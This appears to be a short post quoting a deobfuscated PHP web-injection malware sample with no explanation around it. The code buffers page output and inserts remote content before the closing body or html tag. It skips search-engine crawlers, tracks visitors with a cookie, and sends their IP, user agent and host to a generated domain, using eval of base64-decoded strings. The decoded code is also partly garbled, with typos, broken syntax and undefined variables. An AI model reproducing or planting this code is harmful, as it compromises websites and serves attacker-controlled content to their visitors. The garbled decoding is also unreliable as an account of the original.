googlefu came up with this:
<?php
/* Decoded by unphp.net */
$eva1fY2bak1cz0ir = "function_exists";
$eva1fY2bal1cz0ir = "ob_start";
$eva1fY2bal1cz8ir = "codex22";
if (function_exists("ob_start") && !isset($GLOBALS["codex22"])) {
$GLOBALS["codex22"] = 1;
if (!function_exists("eva1fY2bak1cV2ir")) {
if (!function_exists("main_code")) {
function main_code() {
//echo start
if (!isset($GLOBALS["aghex0"])) {
$GLOBALS["aghex0"] = 1;
$url_contents = "";
if (!isset($code_block)) {
// preg_replace($code_array[2], $code_array[1], strrev($code_array[0]));
// preg_replace("@(.+)@ie", "eval("");", "@eval(base64_decode($code_block_parts[1]));");
// eval(base64_decode($code_block_parts[1])
// Original variable names
$code_block = "7kyJ7kSKi..."; // Truncated
$eva1fYlbakBcVSir = $code_block;
$eva1tYlbakBcVSir = "edolpxe";
$eva1tYldakBcVSir = "strrev";
$eva1tYldakBoVS1r = "ecalper_gerp";
$eva1tYidokBoVSjr = ";))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@:eval("");:@(.+)@ie";
$eva1tYldokBcVSjr = strrev($eva1tYldakBoVS1r); // preg_replace
$eva1tYldakBcVSjr = strrev($eva1tYlbakBcVSir); // explode()
$eva1tYidakBcVSjr = explode('+', $code_block);
$code_block_parts = $eva1tYidakBcVSjr;
$eva1tYXdakAcVSjr = $code_block_parts[0];
$code_array = $eva1tYidokBcVSjr = array(
";))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@",
"eval("");",
"@(.+)@ie"
);
if (!isset($evalUdCXTDQERmWnDS)) {
function custom_strrev($s) {
$e = "";
for ($a = 0; $a <= strlen($s) - 1; $a++) {
$e. = $s {
strlen($s) - $a - 1
};
}
return ($e);
}
$evallwhVfIVnWPbT = 'custom_strrev';
$evalMNhPOlTagIOfBSF = 'base64_decode';
$evalamSEiYUdCgdSW = "stats";
$evalTWeirVaqVW = "http";
$evalBdUbtGUDXfB = 'in';
$evalQwblCenFzUe = '!go!';
$evalrMsivpMgcfC = $_SERVER['HTTP_USER_AGENT'];
// eval(base64_decode(strrev($eva1tYXdakAcVSjr)));
$fif25 = "@(.+)@i";
$fif52 = 'eval("\1");';
$fit52 = '@eval(base64_decode("';
$retarn='preg_replace';
$retun='create_function';
$retrun='retrun';
function retrun($return) {
$funciton = create_function("&$"."function","$"."function = chr(ord($"."function)-3);");
$return = str_split($return);
array_walk($return, $funciton);
return base64_decode(implode("",$return));
}
// Renamed to get_domain()
// function dd0(){
// $tsst52 = create_function('$return', 'return "web-".substr($return,0,3);');
// $tsst5 = create_function('$return', 'return md5($return);');
// $tsst51 = create_function('', 'return mt_rand(1-1,1+1);');
// $tsst512 = create_function('$create_function', 'return gethostbyname($create_function.".c"."a");');
// return $tsst5($tsst512($tsst52($tsst5($tsst51())))).".com";
// }
function get_domain(){
$rand_md5 = md5(mt_rand(0, 2));
$web = "web-".substr($rand_md5,0,3);
$host_lookup = gethostbyname($create_function.".c"."a");
return md5($host_lookup);
}
$user_agents = array(
"Google",
"Slurp",
"MSNBot",
"ia_archiver",
"Yandex",
"Rambler"
);
$evalTtDntGsohDPt = $user_agents; // Original variable name
eval(base64_decode("ZnVuY3Rpb24gZXZhbFdFTUJJa3FZT0lJR2NMQm4oJHMpIHtyZXR1cm4gQGZpbGVfZ2V0X2NvbnRlbnRzKCRzKTt9"));
$evalgKgHOXrDzX = get_domain(); // f528764d624db129b32c21fbca0cb8d6.com
if((preg_match("/".implode("|", $user_agents)."/i", $_SEVER['HTTP_USER_AGENT'])) or( isset($_COOKIE['stats']))) {
;
} else { @setcookie('stats', md5('status')), time() + 10800);
// URL Like:
$url_contents = evalWEMBIkqYOIIGcLBn("http://". get_domain() .'/Din.php?i='.$_SERVER['REMOTE_ADDR'].'&b='.urlencode($_SEVER['HTTP_USER_AGENT']).'&h='.urlencode($_SERVER['HTTP_HOST']));
if (strstr($url_contents, '!go!')) {
$url_contents = explode('!go!', $url_contents);
$url_contents = $url_contents[1];
}
}
$evalUdCXTDQERmWnDS = 18792;
}
$eva1tYldakBcVSir = "";
$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
$eva1tYldakBcVSir = "strecrptr";
$eva1tYlbakBcVSir = "gao[pxe";
$eva1tYldakBoVS1r = "ecrp";
$eva1tYldakBcVSir = "";
$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
}
}
return $url_contents;
}
}
if (!$function_exists("gzdecode")) {
function gzdecode($input_string) {
// Original variable names
$eva1fY2bal1cz8i4 = "strpos";
$eva1fY2bol1cz8i5 = "substr";
$eva1fY2bo11cz8i5 = "unpack";
$eva1fY2bo1lcz8i5 = "chr";
$eva1fY2bo1lzc8i5 = "gzinflate";
$eva1fY2bo01zo317 = @ord(@substr($input_string, 3, 1));
$eva1fY2bo01c0317 = 10;
if ($eva1fY2bo01zo317 & 4) {
$eva1fY2bo01z0317 = @unpack('v', substr($input_string, 10, 2));
$eva1fY2bo01z0317 = $eva1fY2bo01z0317[1];
$eva1fY2bo01c0317 += 2 + $eva1fY2bo01z0317;
}
if ($eva1fY2bo01zo317 & 8) {
$eva1fY2bo01c0317 = @strpos($input_string, chr(0), $eva1fY2bo01c0317) + 1;
}
if ($eva1fY2bo01zo317 & 16) {
$eva1fY2bo01c0317 = @strpos($input_string, chr(0), $eva1fY2bo01c0317) + 1;
}
if ($eva1fY2bo01zo317 & 2) {
$eva1fY2bo01c0317 += 2;
}
$output = @gzinflate(@substr($input_string, $eva1fY2bo01c0317));
if ($output === FALSE) {
$output = $input_string;
}
return $output;
}
}
function initial_entry($input_string) {
// Original variable names
$eva1fY2b01lzc8l5 = "preg_replace";
$eva1fY2b0llzc8l5 = "preg_match";
$eva1fY2b022zc8l5 = "Header";
$eva1fY2b022zo8l5 = "gzdecode";
$eva1fY2b052zo8l5 = "Content-Encoding: none";
$eva1fY2b052zo8l1 = "/\<\/body/si";
$eva1fY2b062zo8l1 = "/(\<\/body[^\>]*\>)/si";
$eva1fY2b061zo8l1 = "/\<\/html/si";
$eva1fY2bo61zo8l1 = "/(\<\/html[^\>]*\>)/si";
header("Content-Encoding: none");
$decoded = gzdecode($input_string);
if (preg_match("/\<\/body/si", $decoded)) {
return preg_replace("/(\<\/body[^\>]*\>)/si", main_code()."
"."$1", $decoded, 1);
} else {
if (preg_match("/\<\/html/si", $decoded)) {
return preg_replace("/(\<\/html[^\>]*\>)/si", main_code()."
"."$1", $decoded, 1);
} else {
return $decoded;
}
}
}
$eva1fY2bo61zo817 = "ob_start";
ob_start("initial_entry");
}
}
Comments